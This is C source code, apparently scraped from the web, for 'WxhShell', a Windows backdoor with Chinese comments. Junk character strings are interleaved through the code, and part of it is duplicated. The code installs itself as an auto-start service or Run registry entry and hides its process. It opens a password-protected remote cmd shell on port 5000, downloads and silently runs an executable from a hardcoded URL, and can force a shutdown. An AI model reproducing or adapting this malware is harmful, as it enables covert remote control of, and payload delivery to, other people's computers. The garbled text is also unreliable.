(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k
N
uN4/ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $/-wgyP3m+ gDjd{+LUo if (!NtQueryInformationProcess) return 0; f^>lObvd UwzE'#Q- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X_EC:GU if(!hProcess) return 0; =!Baz} gs)%.k[BqG if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GHJQ d&G8G :ok!,QN CloseHandle(hProcess); Z\oAE<$ J/H#d')c hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); co(fGp#! if(hProcess==NULL) return 0; X.W#=$;$: 0n =9TmE HMODULE hMod; 8#d99dOe char procName[255]; rA>R` unsigned long cbNeeded; n[S4180 9< ^y;OHo if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z;Gbqr?{{ P"[l86: CloseHandle(hProcess); zrWq!F*-V\ K{7S if(strstr(procName,"services")) return 1; // 以服务启动 .LhbhUEfn "m\UqQGX return 0; // 注册表启动 lMI
ix0sSj } d(dw]6I6 hBs>2u|z9 // 主模块 yQQDGFTb!= int StartWxhshell(LPSTR lpCmdLine) n=Z[w5 { GurE7J^= SOCKET wsl; [{fF)D<tC BOOL val=TRUE; WhVmycdv int port=0; a)yNXn8E_ struct sockaddr_in door; S'H0nJ3 .\hib.n3 if(wscfg.ws_autoins) Install(); { <ao4w6B "ZK5P&d port=atoi(lpCmdLine); [F9KC^%S N!4xP.Ps if(port<=0) port=wscfg.ws_port; Duo#WtC
SS<+fWXE WSADATA data; v"?PhO/{= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \c@qtIc cq+M
*1; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |SXMu_w setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [laL6 door.sin_family = AF_INET; WRU@i;l door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,BN}H-W\2 door.sin_port = htons(port); t&?v9n"X C">=2OO if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =-B3vd:LF closesocket(wsl); :4L5@>b- return 1; ztxQv5=:, } FlA$ G3 VAB&&AL
if(listen(wsl,2) == INVALID_SOCKET) { h"Yqm"U/ closesocket(wsl); N#6A> return 1; H)}1xQ{3F } gQcr'[[a Wxhshell(wsl); Qak@~b WSACleanup(); F|3FvxA z$im4'\c return 0; u=UM^C! *fy`JC } {G*:N[pJp E0?\DvA // 以NT服务方式启动 eG)/&zQ8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R?e7#HsJ { cB"F1~z DWORD status = 0; o3[sF DWORD specificError = 0xfffffff; =[-- Hf R`3>0LrC8 serviceStatus.dwServiceType = SERVICE_WIN32; Wg;TXs/ serviceStatus.dwCurrentState = SERVICE_START_PENDING; J?=Ob?+
_ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pQ2)M8 gf serviceStatus.dwWin32ExitCode = 0; b42pLbpe'E serviceStatus.dwServiceSpecificExitCode = 0; N?<@o2{ serviceStatus.dwCheckPoint = 0; ~ !+h"%'t serviceStatus.dwWaitHint = 0; 'C?f"P:X{ 01d26`G$i~ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `?|]: 7'< if (hServiceStatusHandle==0) return; M6d w~0e ,Vn]Ft?n status = GetLastError(); "5DAGMU if (status!=NO_ERROR) LB ^^e"
{ 71m-W#zyA serviceStatus.dwCurrentState = SERVICE_STOPPED; !Z2n;.w serviceStatus.dwCheckPoint = 0; V6!73 iY serviceStatus.dwWaitHint = 0; "aO, serviceStatus.dwWin32ExitCode = status; #RIfR7`T serviceStatus.dwServiceSpecificExitCode = specificError; <{).x6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z*Hxrw\!0 return; /gy:#-2Gy } _!g
NF= >wm$,%zk serviceStatus.dwCurrentState = SERVICE_RUNNING; u~T$F/]k> serviceStatus.dwCheckPoint = 0; H;!hp0y serviceStatus.dwWaitHint = 0; f*&JfP if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fea\ eB } Jn[ K0GV $5AtI$TV_! // 处理NT服务事件,比如:启动、停止 ifCGNvDR VOID WINAPI NTServiceHandler(DWORD fdwControl) <T% hfW { <`p'6n79 switch(fdwControl) =gv/9ce)3 { &,kB7r" case SERVICE_CONTROL_STOP: I;4CvoT serviceStatus.dwWin32ExitCode = 0; }AfPBfgC1z serviceStatus.dwCurrentState = SERVICE_STOPPED; $aI MQ[( serviceStatus.dwCheckPoint = 0; \gQ+@O&+ serviceStatus.dwWaitHint = 0; _89G2)U=C { l@F
e(^5E SetServiceStatus(hServiceStatusHandle, &serviceStatus); umrI4.1c } 2o5<nGn return; iiDk k case SERVICE_CONTROL_PAUSE: `hf9rjy4 serviceStatus.dwCurrentState = SERVICE_PAUSED; &!~n=]*sz break; `.-k%2?/ case SERVICE_CONTROL_CONTINUE: [hj'Yg 8{ serviceStatus.dwCurrentState = SERVICE_RUNNING; OQ*. ho break; s(9rBDoY(8 case SERVICE_CONTROL_INTERROGATE: zLK
~i>aW break; '\YhRU }; $i]
M6<Vxn SetServiceStatus(hServiceStatusHandle, &serviceStatus); !!#ale& } q5?mP6 rBPxGBd4 // 标准应用程序主函数 _qo1 GM& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nt`l6b { RSeezP6# H 6<@ // 获取操作系统版本 5j01Mx
A OsIsNt=GetOsVer(); |MrH@v7S GetModuleFileName(NULL,ExeFile,MAX_PATH); ;-Dd\\)p hQxe0Pdt // 从命令行安装 b!P;xLcb if(strpbrk(lpCmdLine,"iI")) Install(); J+|V[E<x -dN;\x // 下载执行文件 d~$t{46 if(wscfg.ws_downexe) { SLB iQd. if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \>dG' WinExec(wscfg.ws_filenam,SW_HIDE); ?0&>?-? } rzj'!~>U >c>ar>4xF if(!OsIsNt) { w%H#>k // 如果时win9x,隐藏进程并且设置为注册表启动 =gyK*F(RK HideProc(); 5h7DVr! StartWxhshell(lpCmdLine); bu5)~|?{t } #7"5Y_0- else S60`'!y if(StartFromService()) sgsMlZ3/ // 以服务方式启动 <W^~Y31:0 StartServiceCtrlDispatcher(DispatchTable); KePHn:c else 0].5[Jo // 普通方式启动 8+|L ph`/? StartWxhshell(lpCmdLine); UzwIV{ b4PK return 0; "n-xsAG } w2V E_ n_2LkW<? 4rdrl @V u[Tg}J =========================================== JPzPL\ .8~ x;P6 3Ab$ J>v>6OC6i u8=|{)yL qT%E[qDS " I2Q?7p zwHsdB=v #include <stdio.h> g8yZc}4 #include <string.h> \MPy"uC #include <windows.h> Ms3/P| {"p #include <winsock2.h> ]F#kM21 1 #include <winsvc.h> xB[#
a* #include <urlmon.h> .{>-.& <#`L&w. #pragma comment (lib, "Ws2_32.lib") @gk[sQ\O #pragma comment (lib, "urlmon.lib") x7>sy,c %LmB`DqZ #define MAX_USER 100 // 最大客户端连接数 AkC\CdmA #define BUF_SOCK 200 // sock buffer pDfF'jt9 #define KEY_BUFF 255 // 输入 buffer 4TV9t"Dk+c =T6\kz9)` #define REBOOT 0 // 重启 zqn*DbT
#define SHUTDOWN 1 // 关机 .YbD.{]D Jt][b #define DEF_PORT 5000 // 监听端口 pqX=l%{4ES p]HtJt|] #define REG_LEN 16 // 注册表键长度 7n.J.<+9 #define SVC_LEN 80 // NT服务名长度 c5u?\ )63w& // 从dll定义API dksnW! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ar%Rr" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $^F2
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y.OUn'^d4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $dVjxo J)f?x T* // wxhshell配置信息 =*N(8j>y struct WSCFG { <#i'3TUR int ws_port; // 监听端口 F"I@=R-n char ws_passstr[REG_LEN]; // 口令 Jr
zU-g int ws_autoins; // 安装标记, 1=yes 0=no :-n4!z"k char ws_regname[REG_LEN]; // 注册表键名 )JON&~C char ws_svcname[REG_LEN]; // 服务名 NU"X*g-x^ char ws_svcdisp[SVC_LEN]; // 服务显示名 +q!6zGs. char ws_svcdesc[SVC_LEN]; // 服务描述信息 *2Kte'+q char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oizoKwp% int ws_downexe; // 下载执行标记, 1=yes 0=no Dc5XU3Eu` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T%F'4_~No char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i=rW{0c% E.brQx#} }; 0jq#,p=l; Hr'#0fW // default Wxhshell configuration F u)7J4Z struct WSCFG wscfg={DEF_PORT, ) Lv{ "xuhuanlingzhe", iFnM6O$( 1, hw1s^:|+2 "Wxhshell", bK7DGw`1 "Wxhshell", 8cl!8gfv "WxhShell Service", }z6HxB]$ "Wrsky Windows CmdShell Service", Y|bGd_j "Please Input Your Password: ", F{S.f1Bsp 1, `Jo}/c5R "http://www.wrsky.com/wxhshell.exe", $on liW| "Wxhshell.exe" =Vfj#WL }; )U?W+0[= ~ i,my31 // 消息定义模块 [iz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TzjZGs W[V char *msg_ws_prompt="\n\r? for help\n\r#>"; l1msXBC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [dUEe@P char *msg_ws_ext="\n\rExit."; Fc
Cxr@ char *msg_ws_end="\n\rQuit."; 1RLSeT char *msg_ws_boot="\n\rReboot..."; BehV
:M char *msg_ws_poff="\n\rShutdown..."; lB3X1e9 char *msg_ws_down="\n\rSave to "; D UeT o3yZC z char *msg_ws_err="\n\rErr!"; ZsE8eD char *msg_ws_ok="\n\rOK!"; 7u; B[qH #HML=qK~ char ExeFile[MAX_PATH]; ;Ti?(n#M> int nUser = 0; `|4{|X*U. HANDLE handles[MAX_USER]; K4~dEZ int OsIsNt; Sq,x@ .%o:kq@B SERVICE_STATUS serviceStatus; NGxuwHIQ8 SERVICE_STATUS_HANDLE hServiceStatusHandle; am=56J$ig DN+iS // 函数声明 /W;;7k int Install(void); tSjK=1"} int Uninstall(void); F+X3CB,f int DownloadFile(char *sURL, SOCKET wsh); ,b/0_Q int Boot(int flag); >2ct1_ void HideProc(void); 5:6mptn> int GetOsVer(void); QP'*
)gjO7 int Wxhshell(SOCKET wsl); Q{RHW@_/ void TalkWithClient(void *cs); W'[!4RQL int CmdShell(SOCKET sock); VYO O8MQI int StartFromService(void); d-4u*> int StartWxhshell(LPSTR lpCmdLine); HO'
HkVA 3WhJ,~o-y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DwI)?a_+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6*%lnd+_ qsLsyi |zG // 数据结构和表定义 WH!<Z=#c} SERVICE_TABLE_ENTRY DispatchTable[] = kG E|17I { dg-pwWqN {wscfg.ws_svcname, NTServiceMain}, BJvVZl2h {NULL, NULL} UV=TU=A\o }; 7Sokn?~i ~V<jeb // 自我安装 ;^;5"nh int Install(void) HwOw.K< { &{8 "-
dw char svExeFile[MAX_PATH]; 7+0hIKrFC HKEY key; Z]aSo07 strcpy(svExeFile,ExeFile); D/U o?,>8 sM4N`$Is23 // 如果是win9x系统,修改注册表设为自启动 m<j ^cU#J if(!OsIsNt) { 3B,nHU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L\"$R":3{d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .UJk0%1 RegCloseKey(key); "5@Y\L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wM><DrQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =w8*n2 RegCloseKey(key); >k:)'* return 0; A!NT 2YdHZ } ~j UK-E } ?p`}6s Q} } /8.; else { ;$nK
^ s4w<X}O_ // 如果是NT以上系统,安装为系统服务 Q_ $AGF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hcej?W8j if (schSCManager!=0) i;)88 { 1r@v
\#P SC_HANDLE schService = CreateService }3@`'i7 ( 0<e7!M=U1 schSCManager, @NO&3m] wscfg.ws_svcname, 7"M7N^ wscfg.ws_svcdisp, l_DPlY SERVICE_ALL_ACCESS, K^Xg^9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z%b3/rx SERVICE_AUTO_START, ,u$$w SERVICE_ERROR_NORMAL, p<Zf,F} svExeFile, n6oVx5/ NULL, |ek*wo NULL, e&E*$G@.7 NULL, qWo|LpxWt NULL, B} &C
h NULL 5"{wnnY%K} ); t#kmtJC if (schService!=0) 18a6i^7 { ^c+6? CloseServiceHandle(schService); sW[42A CloseServiceHandle(schSCManager); i3YAK$w;& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aX0sy\Z]j strcat(svExeFile,wscfg.ws_svcname); ^E>}A if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O#9Q+BD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jk) U~KGcg RegCloseKey(key); zS.7O'I<' return 0; ZWYwVAo } d`^j\b>5( } }P^{\SDX CloseServiceHandle(schSCManager); e;Q~P]x } w:pc5N>we0 } NJn~XCq gJ2R(YMF return 1; RL($h4d9 } G$ip Wi )5&Wt@7Kj` // 自我卸载 >4bOM@[] int Uninstall(void) ARslw*SJ { !iITX,'8 HKEY key; 5PdC4vI*+ vVE^Y if(!OsIsNt) { ;0@"1` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7v1}8Uk RegDeleteValue(key,wscfg.ws_regname); }**^g: RegCloseKey(key); @@}A\wA- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !SVW}Q=5# RegDeleteValue(key,wscfg.ws_regname); l~!#<=. RegCloseKey(key); ^]OD+ v return 0; =w,%W^"E } ^1}}-9q } hX_;gR&R } >C@fSmnOM else { a ipvG ]5c| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gn7pIoN if (schSCManager!=0) 76xgExOU?C { =yk#z84< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tWD*uAb if (schService!=0) i9w xP i { 7M5HIK6_ if(DeleteService(schService)!=0) { T7&itgEYG/ CloseServiceHandle(schService); <4^a(Zh CloseServiceHandle(schSCManager); @ -g^R4e< return 0; *j8w"
4 } &:w{[H$- CloseServiceHandle(schService); :'#BU: } hnL(~ CloseServiceHandle(schSCManager); %kKtPrT } jUdW o}/ } &9IMZAo BYP,}yzA return 1; !dGy"-i$h } 1 BVivEG ;z!~-ByzL // 从指定url下载文件 2x'JR yef int DownloadFile(char *sURL, SOCKET wsh) HA"LU;5>2J { vBq2JJAl HRESULT hr; P6;L\9=H< char seps[]= "/"; luAhyEp char *token; (eG#JVsm9 char *file; C'kd>LAGu char myURL[MAX_PATH]; #2|sS|0 < char myFILE[MAX_PATH]; =OTwP }4\>q$8' strcpy(myURL,sURL); ^i#F+Q`1 token=strtok(myURL,seps); QfRt3\^` while(token!=NULL) mLKwk6I { )";g*4R[ file=token; ?\.P token=strtok(NULL,seps); Va?wG3 w } naW}[y*y; CQ6Z[hLWF GetCurrentDirectory(MAX_PATH,myFILE); k2p{<SO; strcat(myFILE, "\\"); GXJJOy1"! strcat(myFILE, file); P7<~S8)Y send(wsh,myFILE,strlen(myFILE),0); zLC\Rc4 send(wsh,"...",3,0); )=ZWn,ZB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xs+MvXTC if(hr==S_OK) :!J!l u return 0; kQwBrb4 else WRL &tz return 1; #W'jNX,h >=[w{Vn'Mf } ,]1K^UeZ h,0mJj-ma // 系统电源模块 `QAotSO+ int Boot(int flag) jcv3ES^ { :1=mNrg HANDLE hToken; Jc:*X4-' TOKEN_PRIVILEGES tkp; .Mdxbs6.C D@FJVF7c if(OsIsNt) { -i7W|X" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4: 5 CnK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 315Rk!{AJ tkp.PrivilegeCount = 1; !2$O^
}6" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 67')nEQ9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OT\[qaK if(flag==REBOOT) { zT`LPs6T if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K%$%9y return 0; xsV(xk4 } )#M*@e$k else { Ga"$_DyM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5}E8Tl return 0; kMf]~EZ? } 'l!tQD! } p 8Ts5n else {
WwPfz<I if(flag==REBOOT) { \c_1uDRoUn if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZSU;>&>%v return 0; qbFzA
i } _h M3p else { +mYD
DlvI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rG}o!I`z return 0; pkM_ @K } '$UlJDZ } mdtq-v =0MW+-
return 1; /0\m;& } ] +LleS5 BoHMz/DB // win9x进程隐藏模块 aKhI|%5kA void HideProc(void) WdnCRFO?l { a$l/N{<. J}nE,U2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uJ {N? if ( hKernel != NULL ) V2V^*9(wu@ { nkSYW]aQ1g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q_ykB8Ensa ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y_xPr%%A FreeLibrary(hKernel); GadQ \> } 4-lEo{IIM vn KKK. E return;
3QL'uk } PGOi#x 1#&*xF" // 获取操作系统版本 AFF7fK int GetOsVer(void) /t01z~_ { w`UB_h#Bl OSVERSIONINFO winfo; Tmg~ZI:MW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .3t[M0sd GetVersionEx(&winfo); vLXN{ ] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?sdVd return 1; mflH &Bx9 else @c9VCG D return 0; "'~'xaU!=a } F9^8/Z N;9@-Tb // 客户端句柄模块 wh<+.Zp int Wxhshell(SOCKET wsl) k "LbB#Q { 9axJ2J'g SOCKET wsh; "nf.kj:> struct sockaddr_in client; CVyqr_n65/ DWORD myID; +>@<'YI< EX~ U(JB6 while(nUser<MAX_USER) q1;}~}W;z4 { KE]!7+8- int nSize=sizeof(client); AVyqtztQ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k
?X if(wsh==INVALID_SOCKET) return 1; tq8B)<(] 2a3hm8%U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SYOND>E if(handles[nUser]==0) l23_K7 closesocket(wsh); /o*r[g7< else D ?1$I0 = nUser++; xVao3+r } L6fc_Mo.EE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b?hdWQSW7 7q<I7Wt return 0; QU2\gAM }
!NUsfd Rf+ogLa= // 关闭 socket %`t;5kmR void CloseIt(SOCKET wsh)
}H&NR?Ax { ]!E|5=q closesocket(wsh); ^z-e" nUser--; R+
lwOVX ExitThread(0); "6Hka{ } ==F[5]? >?ZH[A // 客户端请求句柄 h3$.`
>l void TalkWithClient(void *cs) U
N 1HBW; { : |#Iw )@DH& SOCKET wsh=(SOCKET)cs; p6$ QTx
char pwd[SVC_LEN]; z_~5c char cmd[KEY_BUFF]; UN>!#Ji:$ char chr[1]; TL ;2,@H` int i,j; +/*g?Vt 4&~ft while (nUser < MAX_USER) { (%ra~s? ZRf-V9 if(wscfg.ws_passstr) { -o#HO_9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $?YRy_SI //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <03 @c s //ZeroMemory(pwd,KEY_BUFF); ?g+0S@{i $ i=0; UQgOtqL3 while(i<SVC_LEN) { WBFG_]) u>Z;/kr // 设置超时 QKDY:1] fd_set FdRead; HaXlc8 struct timeval TimeOut; >:!TfuU^R FD_ZERO(&FdRead); rj& FD_SET(wsh,&FdRead); qOVs9'R TimeOut.tv_sec=8; !([Q1r{u TimeOut.tv_usec=0; br*L|s\P\9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JhRXfIK>{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5M4mFC6 oM/(&" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#"&h'V pwd=chr[0]; 8;mn7 XX if(chr[0]==0xd || chr[0]==0xa) { Fy3&Emu pwd=0; /Y_F"GQ break; L']EYK5 } ))^rk6 i++; 3
[: x#r } $=uyZTYF)} }A3(g$8KR // 如果是非法用户,关闭 socket d?C8rkV' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qRT1W re
3 } `d2}>
M)C.bo{p send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }2:/&H' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *Nloa/a&9 pRe, B'& while(1) { UKMr,{iy ; {$9Sc $ ZeroMemory(cmd,KEY_BUFF); SUsD)!u_H s,XKl5'+8e // 自动支持客户端 telnet标准 +QT(~< j=0; 3YVG|Bc~_ while(j<KEY_BUFF) { n0 q5|ES if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9=7),`$ cmd[j]=chr[0]; j38>,9u, if(chr[0]==0xa || chr[0]==0xd) { )F4H' cmd[j]=0; v_?0|Ei[ break; TkXD#%nFY } a@$ U?=\e j++; A rC4pT } ,7,x9qE" 'yxRz5 // 下载文件 O3WhO@`6) if(strstr(cmd,"http://")) { 0Aw.aQ~E8i send(wsh,msg_ws_down,strlen(msg_ws_down),0); zc>/1>?M if(DownloadFile(cmd,wsh)) VRurn>y0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); L\_MZ*<0[ else e0Cr> I5/e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ??0C"8:[ } ]`)50\pdw else { S7&w r@ pt .0%3 switch(cmd[0]) { UhQ [|c XF(0>- // 帮助 JYB"\VV case '?': { j3jf:7 /\ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2V%si 6 break; ${Cb1|g>j } >Vz Gx(7q // 安装 (~}IoQp> case 'i': { %tEjf
3 if(Install()) |3`Sd;^; send(wsh,msg_ws_err,strlen(msg_ws_err),0); )/kkvI()l else +U_> Bo send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S'm&Ll2i@ break; G,I[zhX\ } vJ9Uw // 卸载 LDqq'}qK6 case 'r': { t &XH:w&j if(Uninstall())
)u?pqFH send(wsh,msg_ws_err,strlen(msg_ws_err),0); +X6xCE else P6V_cw$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m"*j J.MX break; |fnP@k } >ly`1t1 // 显示 wxhshell 所在路径 M&o@~z0 case 'p': { aZEi|\VU char svExeFile[MAX_PATH]; "Opk:;. strcpy(svExeFile,"\n\r"); ka? |_( strcat(svExeFile,ExeFile); vHSX3\( send(wsh,svExeFile,strlen(svExeFile),0); fWie fv[& break; C9>tj=yEY } Mqc" // 重启 AB<|iJC case 'b': { ?Iy$'am]L send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _ #]uk&5a if(Boot(REBOOT)) ^*(*tS|M send(wsh,msg_ws_err,strlen(msg_ws_err),0); V)#se"GV else { lj0"2@z3"E closesocket(wsh); VL=. JwK ExitThread(0); ;1PnbU b } _V\rs{
5 break; !wy
Qk } Y^DS~CrM // 关机 d#E]>:w9 case 'd': { o}H7;v8H send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )jkX&7x if(Boot(SHUTDOWN)) ?,~B@Kx send(wsh,msg_ws_err,strlen(msg_ws_err),0); #G2~#\ else { (#x<qi,T closesocket(wsh); .w=( G ExitThread(0); Y/cnj n } HnU; N S3J break; (3 xCW
} ;mH O# // 获取shell G?D7R/0) case 's': { l",JN.w CmdShell(wsh); *6D0>F closesocket(wsh); _aa3;kT_ ExitThread(0); J60XUxf break; 5u
+U^D } :{@&5KQ8) // 退出 s%F}4W2s case 'x': { ArWMbT>Zqw send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6[fp e CloseIt(wsh); Ay\=&4dv break; eX7dyM }
~/Gx~P] // 离开 =kvfe" N0e case 'q': { eF+:w:\h send(wsh,msg_ws_end,strlen(msg_ws_end),0); g-`HKoKe closesocket(wsh); C
"XvspJ WSACleanup(); bH4'j/3 exit(1); hu}`,2 break; K%AbM#o< } ,#&\1Vxf } KwGk8$ U } gB/4ro8 S+(TRIjk // 提示信息 #'5|$ug[ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ):"Z7~j= } al>^}: } RsV<4$ A9Cq(L_H return; rg Gm[SL*< } m(MPVY<X [vM ksHk4 // shell模块句柄 $|+q9o\ int CmdShell(SOCKET sock) Ia_I~ U$ { .B2?%2S STARTUPINFO si; Q72}V9I9 ZeroMemory(&si,sizeof(si)); WJH-~,u si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +M4X
r* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '
>a(| PROCESS_INFORMATION ProcessInfo; {
FVLH:{U^ char cmdline[]="cmd"; }diB CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n0|oV(0FE return 0; 3ZdheenK9 } _dOR-< fik*-$V` // 自身启动模式 g<C_3ap/ int StartFromService(void) {Up@\M { TZ#(G typedef struct B \?We\y { Yq~$Q4 DWORD ExitStatus; j8Nl'" DWORD PebBaseAddress; nnr
g^F DWORD AffinityMask; `/ ]Th&(5 DWORD BasePriority; #p'Xq
}] ULONG UniqueProcessId; * V;L|c ULONG InheritedFromUniqueProcessId; oU/CXz?H } PROCESS_BASIC_INFORMATION; tQ!p<Q=
$) ee7#PE]} PROCNTQSIP NtQueryInformationProcess; b(^g v `PML4P[ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }dnO7K static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I+nKaN+8i
kU uDA><1 HANDLE hProcess; +/!kL0[v PROCESS_BASIC_INFORMATION pbi; +; /]' \:>GF-Z( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); poJ7q ( if(NULL == hInst ) return 0; Bw5zh1ALC; h)S223[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [C1.*Q+l g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 50MdZ;R-3 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SvR:tyF _H[LUl9 if (!NtQueryInformationProcess) return 0; sEBZ-qql Hn~=O8/2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o1jDQ+ if(!hProcess) return 0; J\7ukm"9 nR%ASUx:Y if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 06hzCWm# zj~(CNE CloseHandle(hProcess); ,'=Tf=wq CM$q{;y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3&H#LGoV$ if(hProcess==NULL) return 0; LjZvWts? D@jG+k-Lm HMODULE hMod; j?!BHNs char procName[255]; ~Sq!P unsigned long cbNeeded; I~:v X^%9 w8MQA!=l if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -TIrbYS` hN0Y8Ia/5% CloseHandle(hProcess); <P)U Ggd 8GRp1'\Hi 